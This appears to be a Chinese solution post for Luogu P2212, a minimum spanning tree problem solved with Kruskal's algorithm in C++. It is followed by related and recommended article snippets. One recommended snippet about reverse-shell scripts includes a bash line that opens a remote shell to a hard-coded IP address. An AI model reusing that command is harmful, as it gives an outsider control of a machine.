一道最小生成树模板题,这里用的Kruskal算法,把每两点就加一条边,跑一遍最小生成树即可。

#include <bits/stdc++.h>
using namespace std;
struct node{
int l , r , w;
};
node e[4000010];
int n , maxx , tot , now , ans;
int fa[2010] , a[2010] , b[2010];
int find(int x){
if(x == fa[x]) return x;
return fa[x] = find(fa[x]);
}
bool cmp(node x , node y){
return x.w < y.w;
}
int work(int i , int j){
return (a[i] - a[j]) * (a[i] - a[j]) + (b[i] - b[j]) * (b[i] - b[j]);
}
int main(){
cin >> n >> maxx;
for(int i = 1; i <= n; i++){
fa[i] = i;
cin >> a[i] >> b[i];
}
for(int i = 1; i <= n; i++)
for(int j = 1; j < i; j++){ //只用输入一半
int x = work(i , j);
if(x < maxx) continue;
tot++;
e[tot].l = i;
e[tot].r = j;
e[tot].w = x;
}
sort(e + 1 , e + tot + 1 , cmp);
for(int i = 1; i <= tot; i++){
if(now == n - 1) break;
int x = find(e[i].l) , y = find(e[i].r);
if(x == y) continue;
fa[x] = y;
now++;
ans += e[i].w;
}
if(now != n - 1) cout << -1; //边数不够
else cout << ans;
return 0;
}

洛谷 P2212 【[USACO14MAR]Watering the Fields S】的更多相关文章

  1. 洛谷——P2212 [USACO14MAR]浇地Watering the Fields

    P2212 [USACO14MAR]浇地Watering the Fields 题目描述 Due to a lack of rain, Farmer John wants to build an ir ...

  2. 洛谷 P2212 [USACO14MAR]浇地Watering the Fields 题解

    P2212 [USACO14MAR]浇地Watering the Fields 题目描述 Due to a lack of rain, Farmer John wants to build an ir ...

  3. 洛谷 P2212 [USACO14MAR]浇地Watering the Fields

    传送门 题解:计算欧几里得距离,Krusal加入边权大于等于c的边,统计最后树的边权和. 代码: #include<iostream> #include<cstdio> #in ...

  4. 洛谷2115 [USACO14MAR]破坏Sabotage

    https://www.luogu.org/problem/show?pid=2115 题目描述 Farmer John's arch-nemesis, Farmer Paul, has decide ...

  5. 洛谷 2213 [USACO14MAR]懒惰的牛The Lazy Cow_Sliver

    [题解] 每个格子可以到达的区域是一个菱形,但是我们并不能快速的求和,所以我们可以把原来的草地旋转45度,用二维前缀和快速处理菱形的区域的和. #include<cstdio> #incl ...

  6. 洛谷P2115 [USACO14MAR]破坏Sabotage

    题目描述 Farmer John's arch-nemesis, Farmer Paul, has decided to sabotage Farmer John's milking equipmen ...

  7. 洛谷 P1879 玉米田Corn Fields 题解

    题面 一道思维难度不大的状态压缩,也并不卡常,但细节处理要格外注意: f[i][j]表示前i行最后一行状态是j的方案数 #include <bits/stdc++.h> #define p ...

  8. 【学术篇】洛谷1550——打井Watering Hole

    题目の传送门:https://www.luogu.org/problem/show?pid=1550 精简版题意(本来就精简了不是么):n个点,每个点可以选择打井或从别的有水的点引水,求所有点都有水用 ...

  9. P2212 [USACO14MAR]浇地Watering the Fields

    P2212 [USACO14MAR]浇地Watering the Fields 题目描述 Due to a lack of rain, Farmer John wants to build an ir ...

随机推荐

  1. Java实现 LeetCode 309 最佳买卖股票时机含冷冻期

    309. 最佳买卖股票时机含冷冻期 给定一个整数数组,其中第 i 个元素代表了第 i 天的股票价格 .​ 设计一个算法计算出最大利润.在满足以下约束条件下,你可以尽可能地完成更多的交易(多次买卖一支股 ...

  2. Java实现 蓝桥杯VIP 算法提高 促销购物

    算法提高 促销购物 时间限制:1.0s 内存限制:256.0MB 问题描述 张超来到了超市购物. 每个物品都有价格,正好赶上商店推出促销方案.就是把许多东西一起买更便宜(保证优惠方案一定比原价便宜). ...

  3. Java实现 蓝桥杯 历届试题 带分数

    问题描述 100 可以表示为带分数的形式:100 = 3 + 69258 / 714. 还可以表示为:100 = 82 + 3546 / 197. 注意特征:带分数中,数字1~9分别出现且只出现一次( ...

  4. java实现第六届蓝桥杯居民集会

    居民集会 蓝桥村的居民都生活在一条公路的边上,公路的长度为L,每户家庭的位置都用这户家庭到公路的起点的距离来计算,第i户家庭距起点的距离为di. 每年,蓝桥村都要举行一次集会.今年,由于村里的人口太多 ...

  5. Github 创建SSH密钥克隆仓库详解

    1.登录Github主页,点击任意一个repository,点击Clone or download,点击Use SSH 2.点击add a new pulbic key,创建公钥 3.下面图中的Tit ...

  6. C# 反射详解一

    首先反射是基于System.Reflection命名空间下,.Net框架提供的帮助类库,可以读取并使用metadata(元数据:描述对象信息的数据). 我们再来看下代码生成编译的总过程. 编译器编译( ...

  7. 常用的反弹shell脚本

    bash shell反弹脚本 /bin/bash -i > /dev/tcp/10.211.55.11/ <& >& Python shell 反弹脚本 #!/usr ...

  8. iOS -UIColor随机生成颜色的方法

    在iOS 中的UIColor拥有这么多关于颜色的类方法,对于一般常见的UI控件,我们可以通过[UIColorblackColor]设置背景色 eg:设置button 的背景色为红色 UIButton ...

  9. 利用mitmproxy实现抖音Cookie,设备ID获取(一)

    先讲解一下思路,是利用mitmproxy代理https协议,从而判定抖音个人信息接口,在个人信息接口的返回体接收时将用户信息数据,以及Header头(主要是Cookie),Query体(包含设备ID) ...

  10. Android开源框架选择

    Android开源项目推荐之「网络请求哪家强」 Android开源项目推荐之「图片加载到底哪家强」 Android网络框架的封装 Android Volley+OkHttp3+Gson(Jackson ...